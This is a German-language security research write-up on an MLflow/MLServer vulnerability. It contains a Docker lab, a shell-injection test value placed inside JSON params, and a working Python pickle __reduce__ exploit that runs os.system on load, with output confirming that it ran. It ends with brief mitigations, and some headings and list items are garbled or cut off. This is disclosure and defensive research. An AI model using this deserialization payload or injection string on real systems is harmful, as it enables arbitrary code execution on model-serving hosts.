
Forschungsumgebung und Validierungsskripte zur Bewertung von Deserialisierungsverhalten in MLflow und MLServer.
Ein ausführlicher Sicherheitsforschungsbericht, der die Überprüfung, zugrundeliegenden Mechanismen und architektonischen Schwachstellen im Zusammenhang mit nicht vertrauenswürdigen Modellladepipelines in mlflow==2.11.1 und mlserver==1.3.5 beschreibt.
| Metrik | Details |
|---|---|
| Schwachstellen-ID | CVE-2026-0596 / GHSA-rvhj-8chj-8v3c |
| Common Weakness Enumeration | CWE-78: Unzureichende Neutralisierung spezieller Elemente in einem OS-Befehl („OS Command Injection“) |
| CVSS v3.1 Basiswert | 9.6 KRITISCH (CNA: huntr.dev) / 7.8 HOCH (NVD) |
| Auswirkungsvektor | Netzwerkadjazent, geringe Komplexität, keine Berechtigungen erforderlich, keine Benutzerinteraktion |
| Betroffenes Ökosystem | mlflow/mlflow (Alle Legacy-Architekturen, die über enable_mlserver=True bereitgestellt werden) |
MLflow bietet eine Integration mit Seldons MLServer für leistungsstarkes, unternehmensgerechtes Model Serving. Wenn ein Modellserver über die Befehlszeile oder die Tracking-Server-API gestartet wird, nutzen Entwickler den Konfigurationsparameter:
enable_mlserver = True
## 📋 Executive Summary
Diese Laborumgebung bewertet das Laufzeitverhalten von Frameworks zum Bereitstellen von maschinellen Lernmodellen beim Parsen von benutzerseitig bereitgestellten Eingabeparametern und Artefakt-Metadaten. Während die API-seitigen Grenzen des Parameter-Parsings von MLServer rohe String-Literale sauber isolieren (was eine herkömmliche Betriebssystem-Befehlsinjektion über Shell-Metazeichen verhindert), bleibt die zugrunde liegende Python-Laufzeit strukturell anfällig für **unsichere Deserialisierung** bei der Aufnahme von veralteten serialisierten Objektströmen (`.pkl` / `pickle`).
* **Schwachstellentyp:** Unsichere Deserialisierung (CWE-502) / Ausführung von beliebigem Code
* **Auswirkung:** Kritisch (Remote-Code-Ausführung im Container-Kontext)
* **Betroffene Komponenten:** Modellaufnahme, Artefakt-Download-Subsysteme und `pickle`-basierte Vorhersage-Backends.
---
## 🛠️ Laborarchitektur und Einrichtung
Die Reproduktionsumgebung wird mit Docker containerisiert, um die Betriebssystemschicht zu isolieren und einen produktionsreifen Maschinenlernmodell-Endpunkt zu simulieren.
### 1. Docker-Umgebungskonfiguration (`Dockerfile`)
```dockerfile
FROM python:3.10-slim
WORKDIR /app
# Install native system binaries
RUN apt-get update && apt-get install -y \
curl \
build-essential \
&& rm -rf /var/lib/apt/lists/*
# Pin specific framework versions for target tracking
RUN pip install --no-cache-dir \
mlflow==2.11.1 \
mlserver==1.3.5 \
mlserver-mlflow==1.3.5
# Generate localized model configuration footprint
COPY generate_model.py /app/generate_model.py
RUN python /app/generate_model.py
EXPOSE 5000
generate_model.py)import mlflow
import mlflow.pyfunc
import os
class DummyModel(mlflow.pyfunc.PythonModel):
def predict(self, context, model_input):
return model_input
if __name__ == "__main__":
model_path = "/app/saved_model"
if not os.path.exists(model_path):
mlflow.pyfunc.save_model(path=model_path, python_model=DummyModel())
Erste Tests versuchten, Shell-Terminierungsnutzlastsequenzen (; touch /tmp/poc_success_marker.txt #) durch das params-Payload-Array des /invocations-REST-Endpunkts zu übergeben:
{
"dataframe_split": {
"columns": ["machine_input"],
"data": [["test_data"]]
},
"params": {
"custom_runtime_param": "default_runtime; touch /tmp/poc_success_marker.txt #"
}
}
Ergebnis: Negativ. Das Framework behandelte die Nutzlast sicher als absolutes, nicht ausgewertetes String-Literal. Dies bestätigt, dass die Engine Eingabevariablen direkt in Python-Speicherräume abstrahiert, anstatt über einen rohen Befehlswrapper dynamisch System-Shell-Argumente zu synthetisieren.
Da MLflow und MLServer kompilierte Python-Objekte aufnehmen, verlagert sich das Kernrisiko von der String-Auswertung zur Objektgraphen-Rekonstruktion. Mit einem benutzerdefinierten Validierungsskript wurde ein Ausführungstrigger direkt in einen simulierten Modellstrom eingebettet, unter Verwendung von Pythons nativer magischer Optimierungsmethode (__reduce__).
trigger_native.py)import os
import pickle
class ExploitModel:
def __reduce__(self):
# The __reduce__ method defines object reconstruction behaviors.
# Returning os.system forces immediate runtime command execution during loading.
return (os.system, ("touch /tmp/native_success_marker.txt",))
if __name__ == "__main__":
payload_path = "vulnerable_model.pkl"
# Serialize the code execution payload into a pseudo-model file
with open(payload_path, "wb") as f:
pickle.dump(ExploitModel(), f)
# Simulate an application or model server unpickling the artifact
with open(payload_path, "rb") as f:
pickle.load(f)
Das Skript wurde in die Container-Sandbox-Umgebung injiziert, um die Backend-Ladesequenz nachzuahmen:
# Stage execution payload inside the sandbox
docker cp trigger_native.py mlflow_sandbox:/app/trigger_native.py
# Execute the deserialization routine
docker exec -it mlflow_sandbox python /app/trigger_native.py
Die Abfrage des isolierten temporären Verzeichnisses des Containers bestätigte, dass die Ausführung von beliebigem Code sofort während der Objektzuweisungsschleife stattfand:
PS C:\Users\Sparsh Biswas\mlflow-security-lab> docker exec -it mlflow_sandbox ls -la /tmp/
total 8
drwxrwxrwt 1 root root 4096 May 18 10:31 .
drwxr-xr-x 1 root root 4096 May 18 10:31 ..
-rw-r--r-- 1 root root 0 May 18 10:31 native_success_marker.txt
Das Problem liegt im impliziten Vertrauen in die Modell-Artefakt-Speicherschicht. Standard-Python-.pkl/pickle-Dateien fungieren nicht nur als flache Konfigurationsdatensätze; sie enthalten sequentielle Bytecode-Anweisungen zur Rekonstruktion verschachtelter Objekteigenschaften.
Wenn pickle.load() den Datensatz parst, priorisiert es den Anweisungsstrom, der durch den __reduce__-Hook gegeben wird. Dies leitet die Zielanwendung um, native Systembinärdateien (os.system) direkt in der Shell-Umgebung aufzurufen, bevor eine Datentypvalidierung oder Berechnung von maschinellen Lerninferenzen jemals initialisiert wird.
Depreken Sie die Verwendung von veralteten Serialisierungsschichten (pickle, joblib, marshal) in allen Trainings- und Bereitstellungspipelines. Ersetzen Sie sie durch strukturelle, rein datenbasierte Einschränkungen:
Wenn Ihre Pipeline unbedingt Legacy-Modellkonfigurationen erfordert:
USER 10001).cap_drop: [ALL]) und isolieren Sie den Pod von Netzwerken, die sensible Metadaten-Endpunkte enthalten.